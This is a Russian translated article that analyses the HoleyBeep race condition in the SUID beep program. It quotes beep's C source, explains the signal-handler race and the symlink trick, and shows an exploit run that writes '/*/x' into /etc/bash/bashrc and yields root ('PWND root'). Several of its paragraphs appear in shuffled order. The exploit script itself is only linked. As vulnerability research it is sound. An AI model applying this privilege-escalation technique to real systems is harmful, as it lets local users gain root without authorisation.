Хабрахабр

[Перевод] HoleyBeep: объяснение и эксплоит

Это было особенно неудобно, если хотелось генерировать более сложные звуковые последовательности вроде 8-битной музыки. В былые времена люди использовали \a для генерирования неприятных «гудков» из спикеров системных блоков. Это была коротенькая и очень простая программа, позволявшая тонко настраивать звучание из спикера. Поэтому Джонатан Найтингейл написал программу beep.

С появлением X-сервера всё стало куда сложнее.

То есть beep всегда будет работать у root-пользователя или у любого локального, но не будет работать у не-root удалённого пользователя. Чтобы beep могла работать, пользователь должен был либо быть суперпользователем, либо являться владельцем текущего tty. Это специальный бит, если задать его для бинарника, то файл исполняется с правами владельца (в данном случае root), а не обычного пользователя (вашими). При этом любой терминал (например, xterm), подключённый к X-серверу, считается «удалённым», и поэтому beep работать не будет.
Многие пользователи (и дистрибутивы) решают проблему с помощью бита SUID.

Например, для работы poweroff нужны root-привилегии (только root-пользователь может выключить компьютер), но для персонального компьютера это было бы слишком. Сегодня этот бит используется широко, в основном ради удобства. С другой стороны, если один злоумышленник может выключить сервер с большим количеством пользователей, это серьёзная брешь в безопасности. Представьте, что вы сисадмин, и все пользователи в компании просят вас выключать им компьютеры.

Возьмите тот же bash, бесплатную root-оболочку. Конечно, все программы, использующие SUID — потенциальные бреши. Поэтому такие программы очень тщательно анализируются сообществом.

Вы можете подумать, что программу вроде beep, состоящую всего из 375 строк кода, просмотренную кучей народа, можно ставить без опаски, несмотря на SUID, верно?

Вовсе нет!

Разбираемся в коде

Давайте посмотрим исходный код beep, он лежит здесь: https://github.com/johnath/beep/blob/master/beep.c.

Главная функция задаёт обработчики сигналов, парсит аргументы, и для каждого запрошенного звука вызывает play_beep().

int main(int argc, char **argv) else { play_beep(*parms); } /* Junk each parms struct after playing it */ free(parms); parms = next; } if(console_device) free(console_device); return EXIT_SUCCESS;
}

В свою очередь, play_beep() открывает целевое устройство, ищет его типы и для каждого повтора вызывает do_beep().

void play_beep(beep_parms_t parms) { /* ... */ /* try to snag the console */ if(console_device) console_fd = open(console_device, O_WRONLY); else if((console_fd = open("/dev/tty0", O_WRONLY)) == -1) console_fd = open("/dev/vc/0", O_WRONLY); if(console_fd == -1) { /* ... */ } if (ioctl(console_fd, EVIOCGSND(0)) != -1) console_type = BEEP_TYPE_EVDEV; else console_type = BEEP_TYPE_CONSOLE; /* Beep */ for (i = 0; i < parms.reps; i++) { /* start beep */ do_beep(parms.freq); usleep(1000*parms.length); /* wait... */ do_beep(0); /* stop beep */ if(parms.end_delay || (i+1 < parms.reps)) usleep(1000*parms.delay); /* wait... */ } /* repeat. */ close(console_fd);
}

do_beep() просто вызывает нужную функцию для генерирования сигнала в зависимости от целевого устройства:

void do_beep(int freq) { int period = (freq != 0 ? (int)(CLOCK_TICK_RATE/freq) : freq); if(console_type == BEEP_TYPE_CONSOLE) { if(ioctl(console_fd, KIOCSOUND, period) < 0) { putchar('\a'); perror("ioctl"); } } else { /* BEEP_TYPE_EVDEV */ struct input_event e; e.type = EV_SND; e.code = SND_TONE; e.value = freq; if(write(console_fd, &e, sizeof(struct input_event)) < 0) { putchar('\a'); /* See above */ perror("write"); } }
}

Обработчик сигнала устроен просто: он освобождает целевое устройство (char *), и если оно работало, прерывает звук, вызвав do_beep(0).

/* If we get interrupted, it would be nice to not leave the speaker beeping in perpetuity. */
void handle_signal(int signum) { if(console_device) free(console_device); switch(signum) { case SIGINT: case SIGTERM: if(console_fd >= 0) { /* Kill the sound, quit gracefully */ do_beep(0); close(console_fd); exit(signum); } else { /* Just quit gracefully */ exit(signum); } }
}

В первую очередь моё внимание привлекло то, что если SIGINT и SIGTERM отправляются одновременно, есть вероятность дважды вызвать free(). Но я не вижу иных полезных применений кроме падения программы, поскольку после этого console_device уже не будет нигде использоваться.

Чего мы хотели бы добиться в идеале?

Отлично было бы использовать её для записи в промежуточный файл! Эта функция write() в do_beep() выглядит подходяще.

Но эта запись защищена console_type, которая должна быть BEEP_TYPE_EVDEV.

То есть ioctl() должна разрешить быть BEEP_TYPE_EVDEV. console_type задаётся в play_beep() в зависимости от возвращаемого значения ioctl().

Если файл не относится к устройству, ioctl() просбоит, device_type не будет BEEP_TYPE_EVDEV, а do_beep() не вызовет write() (вместо этого она использует ioctl(), которая, насколько мне известно, в этом контексте безопасна). Но мы не можем заставить ioctl() соврать.

Но у нас есть ещё обработчик сигналов, а сигналы могут генерироваться в любое время!

Состояние гонки

Этот обработчик сигналов вызывает do_beep(). Если в этот момент в console_fd и console_type у нас корректные значения, то мы сможем записать в целевой файл.

Поскольку сигналы могут быть вызваны в любом месте, нужно найти конкретное место, в котором обе переменные не содержат корректных значений.

Вот код: Помните play_beep()?

void play_beep(beep_parms_t parms) { /* ... */ /* try to snag the console */ if(console_device) console_fd = open(console_device, O_WRONLY); else if((console_fd = open("/dev/tty0", O_WRONLY)) == -1) console_fd = open("/dev/vc/0", O_WRONLY); if(console_fd == -1) { /* ... */ } if (ioctl(console_fd, EVIOCGSND(0)) != -1) console_type = BEEP_TYPE_EVDEV; else console_type = BEEP_TYPE_CONSOLE; /* Beep */ for (i = 0; i < parms.reps; i++) { /* start beep */ do_beep(parms.freq); usleep(1000*parms.length); /* wait... */ do_beep(0); /* stop beep */ if(parms.end_delay || (i+1 < parms.reps)) usleep(1000*parms.delay); /* wait... */ } /* repeat. */ close(console_fd);
}

Она вызывается при каждом запрошенном beep. Если предыдущий вызов выполнен успешно, console_fd и console_type будут всё ещё имеют свои старые значения.

Это значит, что в небольшом фрагменте кода (с 285 по 293 строку) console_fd имеет новое значение, а console_type — всё ещё имеет старое значение.

Вот наше состояние гонки. Вот оно. Именно в этот момент мы будем запускать обработчика сигналов.

Пишем эксплоит

Написать эксплоит было нелегко. Очень непросто оказалось вычислить нужный момент.
После начала beep нельзя изменить путь к целевому устройству (console_device). Но можно сделать симлинк, сначала ведущий на правильное устройство, а потом на целевой файл.

А раз теперь мы можем писать в этот файл, нужно понять, что писать.

Вызов, позволяющий выполнить запись:

struct input_event e; e.type = EV_SND;
e.code = SND_TONE;
e.value = freq; if(write(console_fd, &e, sizeof(struct input_event)) < 0) { putchar('\a'); /* See above */ perror("write");
}

Структура struct input_event определена в linux/input.h:

struct input_event { struct timeval time; __u16 type; __u16 code; __s32 value;
}; struct timeval { __kernel_time_t tv_sec; /* seconds */ __kernel_suseconds_t tv_usec; /* microseconds */
}; // On my system, sizeof(struct timeval) is 16.

Элемент time присвоен не в исходном коде beep, и это первый элемент структуры, так что его значением будут первые байты целевого файла после атаки.

Возможно, мы сможем обмануть стек, чтобы он сохранил нужное значение?

Значение целочисленное, что даёт нам 4 байта. После кучи проб и ошибок я выяснил, что там будет храниться значение параметра -l, а после него — \0.

Четыре байта, которые мы можем записать в любой существующий файл.

В скрипте оболочки это приведёт к исполнению программы (заранее сделанной) /tmp/x. Я решил записать /*/x.

Если атаковать файл /etc/profile или /etc/bash/bashrc, то мы добьёмся полного успеха при любом залогиненном пользователе.

Он назначает симлинк, ведущий на /dev/input/event0, запускает beep, ждёт немного, переназначает ссылку, снова ждёт, а затем генерирует сигнал. Для автоматизации атаки я написал маленький скрипт на Python (лежит здесь: https://gist.github.com/Arignir/0b9d45c56551af39969368396e27abe8).

$ echo 'echo PWND $(whoami)' > /tmp/x $ ./exploit.py /etc/bash/bashrc # Or any shell script
Backup made at '/etc/bash/bashrc.bak'
Done!
$ su
PWND root

Мне встречались решения, использующие cron-задачи. Такой подход выглядит лучше, поскольку не требует root-входа, но у меня не было возможности протестировать.

Заключение

Это был мой первый эксплоит нулевого дня.

Пришлось анализировать снова и снова, пока не придумал решение. В начале было довольно трудно найти утечку.

Я узнал, что обработка сигналов гораздо сложнее, чем мне казалось, особенно потому, что нужно избегать не-реентерабельные функции, и что запрещены практически все функции из библиотеки С.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть